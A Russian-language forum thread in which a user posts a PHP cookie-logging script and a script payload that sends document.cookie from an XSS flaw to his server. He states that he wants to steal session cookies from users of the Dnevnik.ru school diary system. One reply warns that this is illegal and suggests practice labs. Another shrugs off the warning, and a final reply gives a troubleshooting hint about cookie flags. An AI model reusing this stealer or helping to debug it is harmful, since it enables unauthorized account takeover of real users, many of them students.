Проблема Проблема с XSS

[Tayrus]

Нашел на одном сайте XSS, решил сделать куки стилер создал файл
в него закинул такой код

<?php
$cookie = $_GET['cookie'];
$log = fopen("xssed.txt","a");
fwrite($log, $cookie ."\n");
fclose($log);
?>

Вставляю в уязвимый параметр:
<ScRiPt>window.location = '' + document.cookie;</ScRiPt>
На сайте три печеньки
DnevnikAuth_a
_ym_uid
spauth
У меня записуется только _ym_uid
В чем проблема?
Хостинг 000webhost (бесплатный)

 

[z3r0c10wn]

Данная группа печенек обрабатывается в системах Электронных Дневников. И зарегистрирована на Дневник.ру.
Вы пытаетесь получить креды пользователей системы Электронного Дневника?

 

[Tayrus]

Данная группа печенек обрабатывается в системах Электронных Дневников. И зарегистрирована на Дневник.ру.
Вы пытаетесь получить креды пользователей системы Электронного Дневника?

Да

 

[z3r0c10wn]

В нашей стране в плане bug bounty все достаточно сложно, поэтому рекомендую вам отказаться от вашей затеи.
Ваши действия могут быть обоснованными только если вы:
1) Имеете договор с Дневник.ру на пентест их продукат + подписанный NDA.
2) Работаете в компании Дневник.ру и в ваши служебные полномочия входит тестирование на уязвимости данного продукта.
3) Дневник.ру имеют открытую bug bounty программу.

И во всех этих случаях вам не стоит в открытую задавать такие вопросы на форумах.

Во всех остальных случаях вам могу быть представлены обвинения по статьям 272 ук РФ, а так же возможно в последствии припишут 273 ук РФ, как это у нас частенько бывает.
+ своими вопросами и постами а так же проиндексированными темами в поисковиках вы уже слили в СОРМ метаданные которые могут вас идентифицировать.


Настоятельно вам рекомендую не делать то, что вы делаете. А для обучения есть открытые CTF от Pentestit а так же dvwa

 

[nikos]

В нашей стране в плане bug bounty все достаточно сложно, поэтому рекомендую вам отказаться от вашей затеи.
Ваши действия могут быть обоснованными только если вы:
1) Имеете договор с Дневник.ру на пентест их продукат + подписанный NDA.
2) Работаете в компании Дневник.ру и в ваши служебные полномочия входит тестирование на уязвимости данного продукта.
3) Дневник.ру имеют открытую bug bounty программу.

И во всех этих случаях вам не стоит в открытую задавать такие вопросы на форумах.

Во всех остальных случаях вам могу быть представлены обвинения по статьям 272 ук РФ, а так же возможно в последствии припишут 273 ук РФ, как это у нас частенько бывает.
+ своими вопросами и постами а так же проиндексированными темами в поисковиках вы уже слили в СОРМ метаданные которые могут вас идентифицировать.


Настоятельно вам рекомендую не делать то, что вы делаете. А для обучения есть открытые CTF от Pentestit а так же dvwa

А что такого пусть парень учится)

 

[f1rst]

Посмотри какие флаги стоят у куков.